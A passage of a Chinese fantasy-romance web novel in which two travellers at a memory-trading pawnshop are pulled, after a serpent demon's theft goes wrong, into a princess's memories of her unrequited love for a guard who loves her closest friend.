小公主不满道:“什么整顿?不会挨板子的那种吧?”
金陵摇头:“风疏公主金枝玉叶,自然不能打她。但你能灌她喝药,药那么苦,日日喝,总归受不住。”
小公主瞪大眼睛:“药怎能随便吃!你出的什么馊主意!”
金陵又道:“风疏公主近日咳嗽不断,可让御医开方煮药。”
“哎呀!我这几日没寻她,她怎么病了
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?有没有召御医?”小公主眉头一蹙,都顾不上改口之事了。
好在金陵安抚一番,小公主觉得有理,便听了他的意见,当即召来风疏。
风疏比她长一岁,身量却没她高,经历了数月前的长途跋涉,瘦瘦小小的,现今生了病,板正沉闷的小脸不由透出几分虚弱。
小公主站在她面前,一改黏糊糊的调子,佯装气愤道:“你敬酒不吃吃罚酒,那就只能受罚了!来人!”
风疏似是愣住,眉头蹙起又生硬展平,收敛所有情绪,直至宫女端来汤药,黑糊糊,苦兮兮。
闻着味儿,便叫人想吐。
“喝了,一口都不能剩!何时改口,何时停!”
宫女遵命,把苦不拉几的药往风疏嘴里灌。
一日三顿,灌下好几日,不知风疏最后是否苦到没边了还是如何,终于松了口。
风疏灌下最后一口,闷闷地看着殿内的小公主,“……花信。”
……花信。
茶楼里,易辛的脸色忽然变了,来来去去,震惊、怅惘,最后眼里浮现了些微水光。
恍惚间,两人重又坐在奈何桥边,沿途彼岸花靡靡一片。
身旁女子着了素衣,下巴搁在膝上,轻轻地笑了笑:“你还不知道我的名字吧,我叫花信。
说书人还在继续,易辛仔细听着。
自改口后,花信对风疏的喜爱简直更上一层楼,但风疏的态度还是不冷不热,因此背地里,她总能听宫人骂她不识好歹。
一日,又逢刁难。风疏除了忍,别无他法,这时金陵忽然出现,言说花信公主召见她,将她从那些王公贵族里带走。
一路上,两人无比安静。
最后还是金陵先开口。
“花信公主上回不是真心罚你,都是我出的主意,望公主不要责怪她。她是真的很喜欢和你玩作一处。”
风疏点头:“我知道,多谢金侍卫。谢谢你体察我的处境,我生病,但召不来御医,花信和你的恩情,我日后定会回报。”
金陵侧头看了看她,笑意温和,听一个孩子郑重道谢并报恩,有些小孩一本正经装大人的好笑。他又问:“既然知晓公主无坏心,你为何总对她爱搭不理?并非要你依着她,只是深宫之中,多个好朋友,不好么?”
“我是质子之身,花信天潢贵胄,时常和她待在一起,难免惹人注目,招来横祸。”
“你有这样的顾虑没错,但……”金陵话未说完,前方忽想起一道不满之声。
“那你方才被人欺负算怎么回事!”
花信叉腰,满身华服,两颊气得鼓囊囊的,像用金银塑出来的福娃,两颗葡萄似的眸子,盯住了风疏。
红墙绿瓦,杏花霏霏,花信坐在廊下,两双腿晃来晃去,似等候多时,随后拍拍身侧。
风疏看她片刻,随后从正殿绕至院墙边,同花信一起席地而坐。
花信随手塞了颗蜜饯给她。
这时风疏才知道,方才花信不是气鼓鼓,而是嘴里塞满了吃食。天启皇帝很宠她,连宫中规矩都没要她学太多,才有这般活泼可爱的吃相。
“你看,你不和我玩,他们和宫人照样欺负你,说不定欺负得更多。宫里尽是些拜高踩低、欺软怕硬之人。你和我在一起,他们就不敢欺负你了!”
花信说得异常笃定。
风疏定定地看着她:“你可知道这叫利用、借势。”
“没事呀,我愿意!”花信不以为意,“我护着你,你陪伴我。”
说着说着,花信有些忧虑,嘴角向下撇:“我现在能护着你,可等你回家后该怎么办呀?”
花信虽小,但毕竟在深宫中长大。她知道不受宠爱的人才会被送去其他国家当质子。
风疏望着她,一时无话。
花信无意识地低喃道:“这世上最尊贵的是拥有皇位的那个人,天底下谁也不敢欺负他。也是因为父皇疼爱我,所以后宫里的人才对我好……”
风疏眸光微动。
蓦地,花信像是被自己点醒了,拉过风疏的手小声道:“要不然你也去争皇位吧!平日我苦于功课,你却开窍得很快,三言两语就解了。风疏,你一定很聪明!明日我便央求父皇让你和我一同去书院学习。等你回梁国,便去当女帝!”
花信似乎童言童语异想天开,并不懂这番话的份量,或是远未理解到它的冲击力,也不明白一个人走向皇位要付出多少。
但脑中似乎有口黄铜大钟,一下一下敲着,激荡得风疏全身都颤栗起来,她并不十分清楚这是什么感觉。
只是很久以后,偶见陈旧墙皮脱落,土壤里破了颗绿芽,便大抵如此吧。
花信将风疏拉扯起来,从廊下跑过,笑嘻嘻道:“我们现在就去温书!明日去书院!”
跑着跑着,几人便长大了。十年一晃而过。
11. 第十一章
今日戏罢,众人鸟兽散。易辛回了当铺,和门口无所事事的点日点头致意,再回到客房。
点日撑着下巴,看对面茶楼的喧嚣渐渐散去。这时,祁不为才缓缓归来,点日伸了个懒腰:“哎哟公子回来了,那我便打烊了。”
祁不为随意笑笑,径直上了楼,带上门,合衣躺下。
良久,夜里一片寂静,不闻街上嘈切,也听不见楼下动静,仿佛所有人都睡着了。
祁不为起身,悄无声息地离开客房,越过易辛的屋子时,朝旁掠去一眼,屋子里无灯亦无声,想来睡下了。
至一楼时,与白日别无二致,冷冷清清。柜台后立着一排木架,架上白玉瓶整整齐齐,月光从木门缝隙漏出,玉瓶莹莹生辉。
祁不为来到木架前,细细搜寻,终于找到易辛的那份,再静静离开。
回到屋内,他照猫画虎,往木盆里倒入茶水,再倾倒玉瓶。瓶中冒出一缕气,渗入水里。
月色下,盆面出现不同场景。
一个婴儿呱呱坠地。
祁不为眉心一动,目不转睛地盯着水面,随着画面变化,婴孩渐渐长大,从稚子到少女,而祁不为眉头却越皱越紧,最后抬头望天,看了片刻月亮,接受了一个事实——此易辛非彼易辛。
人海茫茫,有个重名的,实在正常。
此人面相与易辛截然不同,只恰好与她有个同样的名字。
若易辛真被抽取了记忆,怎会闭口不言?更何况柜台对峙时,她就在身旁,没有抽他记忆、又拿聚魂灯坑易辛一遍的道理。
现下想来,点日一早看出他魂魄离体,做的买卖也是供聚魂灯,而不是指路离开。
“奸商!祝你早日关门大吉!”祁不为忍不住骂道,把玉瓶放回木架,再彻底躺回床上。
他望着天花,黑漆漆一片。
而重重天花与屋舍瓦片之外,月光如瀑。点日正坐在屋脊上,一面笑祁不为的痛骂,一面从袖中取出玉瓶,“易辛”二字,白纸黑墨。
“我一时忘了将它收起,竟被你眼尖看见了,只好放个假的糊弄你了,至于真的——”
点日眯起眼睛,唇角似笑非笑:“机缘未到。”
此时,无人在意的墙角,一条黑鳞小蛇迅速贴地飞过,从木板缝隙钻进屋内,再爬上柜台,昂起头逡巡玉瓶。
许是气运加身,它很快便寻到了自己的目标,嗖一下飞到木架上,卷起玉瓶,方落在柜台上,便闻暗中响起动静。
它迅速让玉瓶立好,再躲进笔筒里,悄悄探出顶着麟角的头。
只见一女子从楼梯步下,掠过柜台,走向门边,似要出去。
它松了口气,没发现自己就好,然变故来得很快。
易辛方要开门,忽觉哪里不对。低头望地,只见门板反光,色彩渐变,像蜗牛留下的黏液。这粘液一路蜿蜒,从门板至地上,再到柜台,月色中分明。
顺着痕迹望去,易辛与笔筒中一双竖瞳对上了视线。
寂静。
刹那间,它心思百转千回,希望眼前女子不要喊,当它是条蛇,作风彪悍地搞点雄黄酒,它可以装醉装死,被扔掉都无所谓——只要不被当铺主人发现!
这间铺子,它盯了好几年,今夜好不容易有机会来偷东西,可别前功尽弃!
但易辛如何看,也不像彪悍女子。
可她也没惊慌失措,似乎愣住了,又似强迫自己冷静,目光盯住蛇头上的麟角,最后唇齿启合间,一声厉喝:“有妖怪!”
糟了!
黑蛇用尾巴卷起玉瓶,闪电般腾向半空。
电光火石间,一道白光破空而至,直朝蛇身。它竖瞳猛缩,化出人形,五指成爪,凌空挡住不思量。
二楼客房内,祁不为方听见易辛惊呼,还来不及反应,但见不思量自动出鞘,闪身而至。他愣了一息,见过不思量护主,却没见过无召时,还会护别人……
但未作多想,他匆匆下了楼,恰逢不思量被甩了回来。他抬手握住剑柄,横向一挥,卸去力道。
那蛇妖趁势扒开木门,一道飞刃直扑面门,刹那间,只觉面上结了层冰,狠狠打了个激灵。他猛下腰躲过。
飞刃嗖一下嵌入楼梯扶手,倏忽间,整座铺子仿佛寒冬降临,冷得祁不为心头一颤。
他斜眼瞥那飞刃,已化作一滩气,木材上留下尖锐的口子。
阴气!
“又是你这蛟妖。”
一声冷笑,使得寒气愈盛,点日一脚将蛟妖踹入屋里。
木门砰一声自动关上,只余岑寂月光。
易辛不动声色地后退几步,把战场留给三人,不时拂过手臂,好冷……
蛟妖揉揉胸口,从地上爬起来,面有不屑:“算你识货,不像那些眼瞎的,见了老子本体,只知道蛇蛇蛇!”
听得“蛟妖”二字,祁不为眸光一凛,想起几年前害死父母的那条蛟妖,很长时间以来,他对任何一条蛟妖,都有着无差别的恨意。
他不自觉握紧不思量,感受到主人心意,不思量震颤起来。
点日道:“上回也是你这偷东西的小贼,被打过一顿,不长记性?”
蛟妖:“我向来不长记性,所以才能等到你忘性一回。这木架你成天用阵法护着,他人靠近不了一点,今日被我逮到机会,你忘了施法——”
说到一半,蛟妖啐了一口,冷冷盯着易辛:“谁知道这女人坏了我的事。”
作为此地唯一一个手无缚鸡之力的凡人,易辛被那目光盯住,不禁吓了一跳,却兀自压下。
而祁不为听了此话,眉心一跳,每日都施法,偏偏他要偷玉瓶时没施法?这是……引君入瓮?还被蛟妖钻了空子……他自然地望向点日,后者没分他半点目光。
那蛟妖是个毒舌的主儿,又盯着易辛冷笑:“我是不是也坏了你的好事?三更半夜想出门?那浑身冒阴气的鬼又在外头——私会啊!也不怕他把你的精气吸干!”
易辛神色平静,不理会他的污言秽语。
易辛半夜离开?祁不为蓦地在心中冷笑一声——看来,今夜每个人都有事。
“别费力挑拨了,”点日扣了扣耳朵,再示意他看看祁不为,“你身后那人,瞧着可是在意生气的样子?”
不肖点日多说,蛟妖自然看得出在场三人异常冷静。
“行,好汉不吃眼前亏。”蛟妖知晓自己斗不过点日,瞬间朝易辛和祁不为凌空激射数枚黑鳞。
易辛变色,祁不为目光一凛。蛟妖趁势转向大门,但见点日巍峨不动。
“你怎么不救那女人!”
他打好算盘,祁不为会自保,那么点日必须救易辛。看得出,易辛不是修道之人,谁料点日动也不动。
话毕,点日探手要夺玉瓶,二者近身交战。
祁不为下意识要用不思量挡住黑鳞,后者却再次脱手而出,飞向易辛,将她护得完好无损。
这把剑……?!
气愤间,黑鳞堪堪而至,祁不为迫不得已借着楼梯扶手,旋身翻至另一边,躲过黑鳞,只听铮铮几声,黑鳞洞穿了楼梯。
见状,蛟妖气急败坏,第一回侥幸逃脱,第二回可不见得还有好运,面对点日的步步紧逼,他猛甩出玉瓶,再憋住一口气,向四面八方激射鳞片。
众人神色瞬间变了。
易辛怕不思量挡不住,而祁不为大声骂了蛟妖一句,纯用身法闪躲,颇有些狼狈。点日凌空跃向玉瓶,施法挡住黑鳞。
半空中,玉瓶入手,下落时,点日夹住一枚黑鳞,反手一扔。那蛟妖狡猾得很,化作原形,仗着体积小闪躲灵活,嗖嗖几下钻出木板门缝,却还是没逃过点日那一击,留下一截断尾。
易辛抱头躲在桌下,不思量飞出残影,将每片黑鳞打回去,那厢祁不为亦悉数躲过,只是每躲一下,便在心里记一分不思量的账,同时无奈大骂——体内余毒何时能清!他要用术法!
变故只在一瞬,点日已相安无事,不思量知道要保护易辛,却不会管挡下的鳞片都飞向哪里,偏偏有一枚,被它打向点日!
点日未有准备,瞬息之间,黑鳞击中手中玉瓶,瓶身炸裂,白
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烟袅袅升起,又四下散开。
易辛和祁不为下意识屏住呼吸,不约而同地想——那是谁的玉瓶。
虽不知何人,但有一点肯定很重要。
玉瓶碎了,会如何?
下一瞬,点日挥动衣袍,易辛顿觉更冷,冷得眼前白晕点点,而后身子一歪,晕了过去。
不知过了多久,易辛感觉有人摇晃自己,迷糊睁眼后,只觉眼前色彩明艳,还有暖和的光洒在身上。
“……别睡了,你昨晚是不是又当夜猫子了……”
对面声音活泼清亮,带着少女的天真与撒娇。
“我没当夜猫子……你是谁呀?”易辛想问,却发现说不出口,随着视野渐渐清晰,她愣在了原地。
面前有一少女,两手托腮,趴在桌面上,衣裳斑斓,圆溜溜的眸子正注视自己,浑身上下每一寸,都写满了天真烂漫。
“花信……”这两个字在易辛唇齿间摩挲,说出口的却是另一番话,“哎呀,公主别打趣奴家了,我这张老脸还得要呢……”
末了,还发出一串咯咯笑声,带着点羞怯和意味不明。
易辛再度震惊,身体不受控制!这不是她想说的话。
花信煞有其事道:“哪有!芸娘一点都不老!你虽是我的乳母,却显年轻呢!”
芸娘?这是她吗?怎么连名字也换了?
光说不够,还要对方相信似的,花信拿来身旁铜镜,让“芸娘”好好照照。
铜镜映出的确是易辛的脸,但显然在花信眼中,她是“芸娘”。
接着,易辛又不由自主地开了口:“公主惯会说话,小嘴抹了蜜似的,让奴家心花怒放。”
她让自己冷静下来,大致盘了下状况——玉瓶碎了,或许会把人拉入记忆幻境里?所以玉瓶是花信的?而她附在芸娘身上,身不由己,不能说话,不能动作,仿佛是寄居在别人身子里的魂魄……应该如何回去呢?
易辛叹息,归墟境尚未寻到出去之法,又掉入另一处地方。
眼前的花信,比她在地府里见到的要年轻几岁……她对花信为人时的事情一无所知,现下倒也是个机缘。
花信不知芸娘已换了个芯子,继续道:“芸娘,你和杨侍卫是如何好上的呀?”
易辛又听见自己开口:“大家都在宫中,一来二去的,就看上眼了。”
花信有些懵懂,歪头嘀咕道:“多见几面,就能喜欢上对方嘛?”
看对方神情,易辛敏锐捕捉到一件事,花信似乎对谁动心了。果不其然,下一瞬她就得到了答案,却让她有些吃惊。
声音从她口中传出:“怎么啦?想天天见着金陵侍卫了?”
花信和易辛心中皆是咯噔一下。前者被拆穿,倒也落落大方地点头:“可他还不知道呢,芸娘不要说出去啊。”
芸娘道:“金陵为人谦逊,不像个侍卫,倒像个书生,算不错了,但……”
——侍卫配不上公主,易辛在心中替芸娘补完了这句话,两人门第悬殊。
芸娘略一停顿,并未往下说,许是太爱花信,不忍打击她,又想公主收个面首也。当然最好的结果,是金陵能去沙场建功,挣个大将军,便能归来娶公主。
花信并未想太多,有些艳羡道:“真希望他心中也有我,如此一来,我们便能像芸娘和杨侍卫那般好啦。”
易辛忽然有些好奇,花信和金陵最后如何了?但这都是后话,她像是不小心闯入了话本,只能跟着事情发展慢慢看下去。
这时,花信又道:“今夜杨侍卫不当值,到时你也去他那儿歇着吧。深宫之中,有人相依相伴,是件好事呢。”
不!易辛斩钉截铁地拒绝,她不是芸娘,不可能去找杨侍卫。然而她却听见自己笑呵呵道:“那就多谢公主体恤了。”
不愿意的话只能在心里说说。明面上,这具身体是芸娘的,虽然被她附身后,脸变成了自己的……
易辛有些无奈,下一刻却悚然至极——
她时时刻刻都不能操纵这具身体?那和杨侍卫在一处时该如何?!
12. 第十二章
夜色降临,花信携了宫人饭后消食,两人在前引灯,易辛落后她一步,走得魂不守舍。直到身旁一声欣喜的惊呼,她才回过神来。
“金陵!”
迎面走来一队侍卫,金陵为首。
易辛顺着身体主人的视线扫过一眼,却如芸娘所言,金陵身量挺拔修长,眉眼间几缕书生气的温润。
紧接着,她的视线便在芸娘的支配下往后一移,旋即就顿住了!
祁不为也在这队侍卫之中!
不知是否察觉到她的视线,祁不为也将目光移过来,两人对了个正着。
心头忽然涌起奇异之感,这对视过于浓烈,她下意识想挪开,然而双方眼神仿佛粘住了似的,谁也没动。
电光火石间,一个念头闪现——他该不会就是杨烈吧!
下一瞬,祁不为对她笑了笑,看起来“熟络无比”,这几乎证实了她的猜测。
易辛一颗心登时七上八下……
听得花信的呼唤,金陵迈步向前,身后侍卫跟上。而同时,困在杨烈体内的祁不为,已经翻了无数个白眼!
他偷了易辛的玉瓶,但极有可能暗中被点日摆了一道;山庄传承数百年的灵剑,没有主人传召,不顾主人安危,毅然决然去救易辛,害他差点被妖怪打中;也不知究竟打碎了谁的瓶子,他还白白卷进来,而且身体不受控制!偏偏那个人还用自己的脸和身体!
就在方才,他貌似还发现了杨烈在宫里有个相好的!那相好的长着易辛的脸……看来她附在了那人身上……
易辛和祁不为隔着人群“相望”,谁也看不透谁的心思,但都算不上开心。
这厢花信问道:“你们要换值啦?”
金陵笑道:“我们正好巡防完,要下值了。”
花信点头,回身向易辛:“芸娘,把厨房今日做的榛子酥送去他们厢房吧。”
闻言,诸侍卫暗自欣喜,宫里这么多贵人,只有花信公主对他们好,时不时匀些好东西给他们,这自然也是托了金陵的福。
众人各自归位,侍卫散去,金陵和祁不为随着花信回了寝宫,等“芸娘”一同前去。
易辛拿上食盒,金陵和祁不为在前引灯,时不时和“她”聊聊天。
易辛感到自己嘴巴开合,唇角扬起,感触愈鲜明,割裂感愈强,渐渐已没了心思听这些人说话。
至厢房,金陵和祁不为道别,易辛不受控制地走进后者屋里,将食盒放在桌上,燃了灯盏。
见金陵走远,祁不为暗自叹了口气,瞅一眼天色,这一日总算完了。
他迈入屋子,抬手关门……关门?!这屋里还有个外人呢?!
下一瞬,祁不为见这副身体伸手扯了腰带,上衣脱得行云流水,不一会儿,便露出肌肉精悍的上身。
祁不为一时反应不过来,脑中一片空白。
他觉得,杨烈实在太鲁莽了!
上来就是这副登徒子模样,对面的“芸娘”肯定会感到十分冒犯,然后啪啪啪甩自己几个巴掌,愤然离去!
——这近乎是他心中的恳求了……而在这番恳求里,易辛也真真转过身,审视似的停在原地,眉头蹙起来。
易辛心里其实是发愣的,转身便见祁不为赤条上身,又惊又诡异,吓得什么都想不到了。所以她忘了,这具身子其实由芸娘操控。
芸娘和杨烈深宫相伴,前者显然见惯了此番场面。
于是易辛便见“自己”扑了上去……
易辛:“……!!!”
祁不为:“???!!!”
她一把抱住对面之人的脖颈,发狠咬了一口肩窝,囫囵道:“登徒子!昨夜发了癫,弄得老娘死去活来,今夜我要你一点也吃不着!”
易辛:“……”
祁不为:“……”
她不知芸娘私下里竟如此泼辣,说起话来也十分露骨。
那声音怒里带斥,只当下场面听来,浑然似嗔骂。听得易辛直想晕死过去,甚至想把自己毒哑……简直不敢想接下去会发生什么。
祁不为同样疯了,恨不能立即抽离出来,却又无比清晰地感受到“自己”抬手搂上了对方的腰,时轻时重地揉捏着,仿佛在替她按摩,嘴里笑着哄道:“是我不好,别生气……”
他想剁掉自己的手!
说着说着,感觉怀里身子软了些,他手不由自主地从腰间一点点往上挪。
易辛也很想剁掉这只手!
祁不为心中咆哮!
骂那蛟妖、骂点日、还骂杨烈这狗男人。即便操控不了这具身体,他也竭力用尽全身力气反抗。
忽然,门外响起金陵的声音:“杨烈,忘说了,明日可否同我换个值,风疏公主想寻我练招。”
祁不为感到手顿住,头朝外,爽快说道:“好,不是什么大事。”
门外脚步声远去,祁不为见双手又不安分,真是恼极了,意念里想发狠一推,忽见眼前之人惊呼一声,猛倒退几步,趔趄在地。
而他也被对面推得撞在门上,门框骤然发出闷响。
顾不上脊背的钝痛,他愣住了,看看易辛,又抬起双手左右瞧瞧——他能掌控这具身体了!
惊吓过后,祁不为大喜,三下五除二穿好衣裳,又低头去看易辛。
易辛跌坐在地,虽猝不及防,但也分外欣喜。她能动了!
可她刚一动作,脚心便传来钻心的痛楚。两人都试图挣脱出来,下手力道很重,导致她崴了脚。
“嘶——”易辛禁不住低呼出声。
但祁不为没听见,只感她双眸含泪,眉心深深蹙起,好似十分“屈辱”。
方才的一幕幕猛地灌入脑海,把他整个人冲傻了,像机关卡住了的木偶,手上还残留着易辛腰背上的体息,灼得发痛。
他不是有意要冒犯易辛的……
祁不为难得对人生出愧疚之心,结巴道:“……方才、对不住……我控制不了这副身体……”
他声音有些无措:“你……抱歉……对不住、你、你你……别哭……”
易辛呆住,自重生以来,头一回感受到祁不为对她除了恨以外的其他情绪。她一时五味杂陈,最后捂住脚踝,摇头说道:“不是……只是扭伤了脚,太痛了……”
“崴脚了?……哦,没事没事……我给你找药……”祁不为脑子晕乎乎的,又像猫踩了尾巴般,立即翻箱倒柜找出跌打酒。杨烈是侍卫,治外伤的常见药非常齐全。
他把易辛扶上椅子,刚要把她的衣裙往上掀起来一些露出脚踝,又犯了难……这举止似乎更不妥当。
易辛倒是没想那么多,她脚踝真是太痛了,十分自然地把衣裙撩起来。果然,那脚踝已经肿得老高了。
祁不为也惊了一下,口中说了一声“冒犯”,便用掌心捂热药酒,在她脚踝上揉开。
易辛痛得冷汗都出来了,脸色煞白,手指紧紧攥住衣服,那片都皱出痕了。
揉着揉着,祁不为脑袋不再发懵发热,稍微冷静些许,觉得片刻之前的自己就像毛头小子……而此时此刻,他正捧着易辛的脚。
……真是要命了,从前是打死也没想过,他会给“杀己仇人”揉脚。
算了,祁不为叹了口气……他恨易辛没错,但从未想过要冒犯她。
闻得他一声叹息,易辛心中警惕起来,后知后觉他给自己捏脚的场面十分诡异反常,顿时转移他的注意力:“公子,你说我们为何现在能控制身体了?”
祁不为停下动作,一面收东西一面揣测:“金陵说完那番话,我才可以自主行动……玉瓶里不知装了谁的记忆,但重现过往,或许就像写好的话本和唱戏,人物无需登台时,我们才自由。”
易辛心道果然,接下他的话:“这意味着,我们随时可能变成‘芸娘’和‘杨烈’。要等话本结束,我们才能离开此地么?”
这是刚到此地时,最让祁不为焦心的问题:“一场记忆可长可短,难道要停留个几十年?”
他果断否决:“不行,谁知道归墟境里的我们会如何?外头时辰若非静止,等那蛟妖再来,我们也没出去,那便是任人宰割。”
“应该……不会吧,”易辛说道,“点日在归墟境多年,这桩事应当不是头一回,他或许正在救我们。”
祁不为哼笑:“我昏过去之前,看了他一眼,倒得比我还快。不出意外,他也卷进来了。只是不知附身在谁身上。”
他也入了梦境?易辛眨了眨眼睛,其实安危之事她并不担心。比起祁不为,她对点日了解
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更多些,所以相信最后二人总会平安离开此地的,而客栈里应当很安全。
想了一会儿,她又听祁不为说道:“玉瓶之事,他比我们更清楚,先寻到他。”
易辛附和:“正好,我们虽附身在别人身上,但还是原本的相貌。寻起他来,更简单些。”
翌日,杨烈替金陵当值。易辛和祁不为便没见着面,而她倒是第一回见到未来的女帝——风疏。
花信懒洋洋地坐在摇椅上,于树荫下乘凉看话本,每日都过着悠哉悠哉的生活。风疏正伏案阅读,边上摆着一堆花信连扫一眼都不愿的书卷。
易辛站在身后,替花信摇扇,借着余光瞥风疏。
比起容貌,风疏身上的端方沉稳更令人印象深刻,仿佛做任何事都信手拈来。
这时,花信合上话本,仰天长叹。
风疏阅卷得入迷,但也注意着花信的动静,抬眼问道:“怎么了?话本无趣?”
花信下了摇椅,和她挤在一处石凳上,抱住她胳膊:“不无趣,就是看完后心头堵得慌。书中娘子任劳任怨供夫君考取功名,夫君一举得试入青云,要衣锦还乡时,半路撞坏了脑子,把娘子忘得一干二净,恰逢勋贵欲和他结亲,一来二去的,他便另娶了,生气!”
“都是假的,不必放在心上,”风疏不作他评,微微一笑,“换个本子看吧。”
花信闷闷不乐地点头,又问:“金陵为何还不来,他还要教你习武呢。”
话落,人便到了。
金陵一身常服,衬得青年挺拔如松,唇边带笑。
易辛视线回落在花信身上,但见她笑逐颜开,耳尖爬上一点绯红。她不由得跟着笑了笑。
这么多年来,三人已十分熟络,未见寒暄,金陵带了两把木剑,直接和风疏过招。
众人不懂招式,但不妨碍看得津津有味。几场比试下来,两人都沁了汗。花信捻着巾帕替风疏擦汗,不停称赞:“风疏真厉害,早晚能胜过金陵!”
金陵笑了笑,附和花信。
时辰像天边流云,渐渐飘远。差不多时候,风疏和金陵都离开了寝殿。
日暮将至时,花信忽然想起一事:“哎呀!我忘了和风疏说上元节那日,父皇答应让我们出宫。我和风疏说了许久,想出宫放水灯呢!”
易辛扮作“芸娘”,把应当说的话讲出口,笑道:“太阳还挂着呢,公主可去寻她。”
花信立即点头,欢欢喜喜地拉着易辛走了。
路上,花信见左右无人,顺势问道:“芸娘,你说要如何告诉金陵我的心意,又不至将他吓到呢,万一他无意于我怎么办?”
“他怎么会不喜欢你呢?谁人见了公主,都会心生欢喜。你可寻个日子,约他去游湖,届时只有你们二人在船上,自然是个说话的好时机。”
其实易辛很想问问,花信喜欢金陵什么,但转念一想,金陵样貌性子都好,又常年伴她左右,算得上青梅竹马了。
两人说着说着,便到了风疏殿外。
风疏是质子,寻她之人大多没好事,殿里只她加一名侍女,所以时常带上大门。
易辛本要敲门,发觉朱红大门虚掩,里头传来交谈之声。透过门缝,可见风疏和金陵正坐在院子里。
风疏翻了翻手中的话本:“谢了,这话本我寻了许久,真被你在外头找到了。”
金陵:“你托付我的事,自当尽心尽力。只是你近日转性了么?也和花信公主一样,爱看话本了?”
风疏:“还行,只是听花信一直念叨找不到这本书,便想替她寻来。”
门外,花信心里美滋滋的,虽然撞破了惊喜,但被惦记的感觉,真好,又听金陵似是感慨:“风疏公主出了名的性情冷淡,只对花信一人好,属下何时能得这份好里的十分之一?”
她捂嘴笑了,对易辛道:“金陵是不是吃味儿了?”
那一刻,易辛眉心却抽动了一下,丝丝不妙的感觉浮上心头,让她不自觉地望向嘴角还噙着笑意的花信。
门里的对话还在继续。
“不要阴阳怪气。”风疏说道,话落,她越过石桌,向金陵俯身低头,吻住他的唇。
金陵垂下眼皮,遮住眸子里的笑意,双手捧住风疏面颊,温柔回吻。
13. 第十三章
风疏和金陵发觉,近段时日花信与从前截然不同,闷闷不乐,甚至不愿见他们二人。
平素花信黏着风疏,夸张而言,恨不能同寝而居,然现在任凭风疏如何问,她却不太爱说话,问身旁易辛,后者也只能说捉摸不定公主的心绪。
易辛知道,花信只是很难过。
这份难过,让她无法在爱慕之人和最好的朋友面前保持镇定,只能避而不见。
花信一股脑儿的把情绪闷在心里,久而久之,装不下,便开始失控。
是日,一份礼物由易辛之手,转交给花信。
花信垂首,桌上放着一块石头,拳头大小,其间却刻了一幅庭院戏蝶图,人物寥寥几笔,却十分传神,母妃正领着她扑蝶。
石上布满凹凸刻痕,笔力之深,可见刻石之人很是费了一番心思。
易辛蹲下身,说道:“金侍卫送来的,想来应是打算生辰时送你的……但见你不高兴,现在送来哄你了。”
尾音带着几分叹息。
三人一路慢慢走来,撇去身份职责,金陵最为年长,对二人可谓担待多多,极尽兄长之责。
花信抿紧嘴唇,似在忍耐什么,最后压住哭腔,话语沉闷:“叫他来一趟。”
金陵来时,面上明显带着笑意,许是觉得花信想通了,愿意倾诉一二,冷不防被石头砸了个正着。
易辛也愣住了,没料到花信能如此大怒,宫人皆匍匐在地。
金陵并不惊惧也未动怒,温和地敛了笑意,问道:“臣不知如何惹得公主不快。”
花信一步步走到他面前:“这石头有何出处?”
“没有,随手捡来,再雕——”
“大胆金陵!”花信一声高喝,“石头来历不明,便可能有邪灵附身,你想诅咒我吗!”
易辛拧眉,似乎听过送礼不能送石头这种说法,但她心知,花信平日不是刁难他人的主,今日对金陵,近乎是撒气了。
金陵神色不动,却很快道歉:“抱歉,是臣考虑不周。”
“此事非同小可!给我跪到院子里去!我没说起来,就一直跪着!”
“遵命。”
金陵退后几步,再转身出了屋内,在烈日底下跪着。
花信猛一转身,大步进了寝宫,门砰地关上。那一瞬,易辛见她狠狠抹了把眼睛,肩膀颤抖。
有了这一出,宫人噤若寒蝉,不知花信为何发火,但身份地位摆在那里,再温顺的小猫,也是握有生杀大权的天潢贵胄。
金陵耐心定力都极好,影子从一头转到另一头,他动也未动。只是天有不测风云,清晨还烈阳高照,午后突起阴云,少顷,雨珠噼里啪啦打了下来。
雨势渐大,生了烟。
金陵从头湿到尾,眼睛都要睁不开了,神色姿态仍旧温良内敛,垂下的视线里,走入一片华丽裙摆,头顶雨势断了。
他抬起头。花信撑了伞,眸光闪烁,实在算不上高兴。
金陵像对着无可奈何的妹妹般叹了一息:“你近日为何不快?若说于我不方便,也可向风疏公主倾诉,也不怕闷坏了身子么?”
此话一出,如同朝花信心口扎了一针,令她眼底立即浮现水雾。
见状,金陵没再多言,似耐心等着她发泄情绪。下一瞬,却见花信扔了伞,任由大雨落下,淋得落魄。
金陵怔住,立即捡伞:“会受寒……”
话未说完,伞被花信一脚踢了出去。金陵再抬头时,雨幕厚重,可花信眼底光芒却极盛,忍耐过却遏制不住的伤心,一览无余。
金陵起初不解,花信一直无忧无虑,在记忆里,从未见她情绪这般大起大伏过。
他也想不通,花信能遇上什么不高兴的事,皇帝宠爱,后宫无人敢寻她不痛快,再说朋友,他自认并未做什么让她不快之事,风疏明面上寡淡,可对她实在温和耐心。
难道是……
“你……知道我和她的事了?”
那一刻,金陵觉得花信好像一只竖起刺的刺猬,但刺没扎着余人,反往肉里去,痛得她动了动唇,似咬紧颊边的软肉。
见状,金陵明白,自己猜对了。
“我们并非有意瞒你……”金陵笑了笑,真挚解释,“只是想寻个日子,正经告诉你。”
花信脸色有一瞬的崩溃:“那你还送我精心雕刻的石头做甚!你若……喜欢她,便不要再对旁的女子好了!”
金陵有些困惑:“看来是我惹你不快了?送你石头,是因为我们是朋友。我以为,石头不算失了男女分寸之物。你怕风疏心里不高兴吗?她知道这块石头……”
给好朋友送上精心准备的生辰礼物,有何过错呢?可心头的难过就像大雨,下起来无休无止,让人浑身湿透,怎么也干不了。
她和风疏有何差别?她甚至比风疏更早认识他……
“为什么,非得是风疏……”
那句话好似不小心漏出去的,花信再未言语。
两人隔着雨幕对望,看着那双清澈又愠怒的眼睛,金陵忽然想到,雨泪交杂他分不清。但莫名的,他觉得花信哭了,哭得很伤心,从扔伞那一刻开始。
他说不出话了,也不知说什么,良久,像是在漫天大雨里明白了什么。
他低下头,再没看花信一眼。
垂首的瞬间,似乎听到花信没压住的哽咽。
易辛立在殿内,静静望着水雾里一站一跪的人,心头漫上几分酸涩。
梅雨季节,时常下雨。
又是一场雨,收势时,夜幕深深,宫中静谧。
偏殿,易辛侧卧而躺,雨落在石阶上,滴滴答答,不知听了多久,她翻了个身,眼前光线似有变化,更暗了。
面前正躺着一个赤条上身的男子。
易辛心中大骇,惊坐而起!
男子亦被惊动,睁眼时如鹰隼,出手快狠准地掐住易辛颈项。
易辛浑身一僵,立即道:“公子……是我。”
看清是谁,祁不为愣了一下,继而松了手:“你怎么来我房中?”
“忽然来的……”
“……”
